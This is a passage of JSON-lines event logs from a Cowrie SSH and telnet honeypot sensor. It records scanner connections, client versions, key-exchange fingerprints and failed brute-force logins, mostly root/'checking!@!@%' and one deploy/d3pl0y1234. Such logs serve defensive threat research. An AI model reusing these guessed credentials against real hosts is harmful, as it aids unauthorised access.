1@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:28.114053Z","src_ip":"103.15.222.183","session":"90f6860dc164","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:28.869231Z","src_ip":"103.15.222.183","session":"90f6860dc164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:30.120636Z","src_ip":"103.15.222.183","session":"90f6860dc164","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":53924,"dst_ip":"159.203.135.109","dst_port":22,"session":"39ed5b7edcbf","protocol":"ssh","message":"New connection: 194.113.233.25:53924 (159.203.135.109:22) [session: 39ed5b7edcbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:34.268480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:34.272098Z","src_ip":"194.113.233.25","session":"39ed5b7edcbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:34.370727Z","src_ip":"194.113.233.25","session":"39ed5b7edcbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:34.650787Z","src_ip":"194.113.233.25","session":"39ed5b7edcbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:35.743475Z","src_ip":"194.113.233.25","session":"39ed5b7edcbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37210,"dst_ip":"10.17.0.5","dst_port":23,"session":"248ee7e60367","protocol":"telnet","message":"New connection: 50.6.8.71:37210 (10.17.0.5:23) [session: 248ee7e60367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:49.415850Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":33052,"dst_ip":"159.203.135.109","dst_port":22,"session":"313ed5c636d5","protocol":"ssh","message":"New connection: 51.250.105.222:33052 (159.203.135.109:22) [session: 313ed5c636d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:53.780679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:53.785273Z","src_ip":"51.250.105.222","session":"313ed5c636d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:53.915734Z","src_ip":"51.250.105.222","session":"313ed5c636d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:54.309697Z","src_ip":"51.250.105.222","session":"313ed5c636d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:55.444200Z","src_ip":"51.250.105.222","session":"313ed5c636d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":36280,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5248341be05","protocol":"ssh","message":"New connection: 103.195.236.96:36280 (159.203.135.109:22) [session: f5248341be05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:08.611673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:08.616644Z","src_ip":"103.195.236.96","session":"f5248341be05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:08.855293Z","src_ip":"103.195.236.96","session":"f5248341be05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:09.563896Z","src_ip":"103.195.236.96","session":"f5248341be05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:10.801097Z","src_ip":"103.195.236.96","session":"f5248341be05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.298651456832886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:20.714414Z","src_ip":"50.6.8.71","session":"248ee7e60367","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":40916,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1b3ae8b1a4a","protocol":"ssh","message":"New connection: 193.228.128.84:40916 (159.203.135.109:22) [session: a1b3ae8b1a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:38.609746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:38.614329Z","src_ip":"193.228.128.84","session":"a1b3ae8b1a4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:38.717044Z","src_ip":"193.228.128.84","session":"a1b3ae8b1a4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:39.029507Z","src_ip":"193.228.128.84","session":"a1b3ae8b1a4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":55758,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c58453763a6","protocol":"ssh","message":"New connection: 94.159.98.239:55758 (159.203.135.109:22) [session: 8c58453763a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:39.835464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:39.844443Z","src_ip":"94.159.98.239","session":"8c58453763a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:40.004260Z","src_ip":"94.159.98.239","session":"8c58453763a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:40.134945Z","src_ip":"193.228.128.84","session":"a1b3ae8b1a4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:40.513499Z","src_ip":"94.159.98.239","session":"8c58453763a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":39062,"dst_ip":"159.203.135.109","dst_port":22,"session":"06523739dcb4","protocol":"ssh","message":"New connection: 103.27.238.114:39062 (159.203.135.109:22) [session: 06523739dcb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:41.119933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:41.124089Z","src_ip":"103.27.238.114","session":"06523739dcb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:41.398947Z","src_ip":"103.27.238.114","session":"06523739dcb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:41.765205Z","src_ip":"94.159.98.239","session":"8c58453763a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:42.224411Z","src_ip":"103.27.238.114","session":"06523739dcb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":9132,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b5fd2054e32","protocol":"ssh","message":"New connection: 201.77.124.248:9132 (159.203.135.109:22) [session: 2b5fd2054e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:43.123127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:43.131451Z","src_ip":"201.77.124.248","session":"2b5fd2054e32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:43.267547Z","src_ip":"201.77.124.248","session":"2b5fd2054e32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:43.501542Z","src_ip":"103.27.238.114","session":"06523739dcb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"d3pl0y1234","message":"login attempt [deploy/d3pl0y1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:43.850690Z","src_ip":"201.77.124.248","session":"2b5fd2054e32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:44.990234Z","src_ip":"201.77.124.248","session":"2b5fd2054e32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.164.217.74","src_port":38961,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cdcbcbff928","protocol":"ssh","message":"New connection: 69.164.217.74:38961 (159.203.135.109:22) [session: 0cdcbcbff928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:53.206448Z"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:54.157167Z","src_ip":"69.164.217.74","session":"0cdcbcbff928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34678,"dst_ip":"10.17.0.5","dst_port":23,"session":"0988a053d399","protocol":"telnet","message":"New connection: 50.6.8.71:34678 (10.17.0.5:23) [session: 0988a053d399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:59.558868Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34694,"dst_ip":"10.17.0.5","dst_port":23,"session":"581d01bd369d","protocol":"telnet","message":"New connection: 50.6.8.71:34694 (10.17.0.5:23) [session: 581d01bd369d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:56:59.594704Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34708,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b3afe8056af","protocol":"telnet","message":"New connection: 50.6.8.71:34708 (10.17.0.5:23) [session: 6b3afe8056af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:03.874742Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":39482,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b4b049d71a3","protocol":"ssh","message":"New connection: 103.176.20.57:39482 (159.203.135.109:22) [session: 6b4b049d71a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:27.037183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:27.050487Z","src_ip":"103.176.20.57","session":"6b4b049d71a3","protocol":"ssh"}
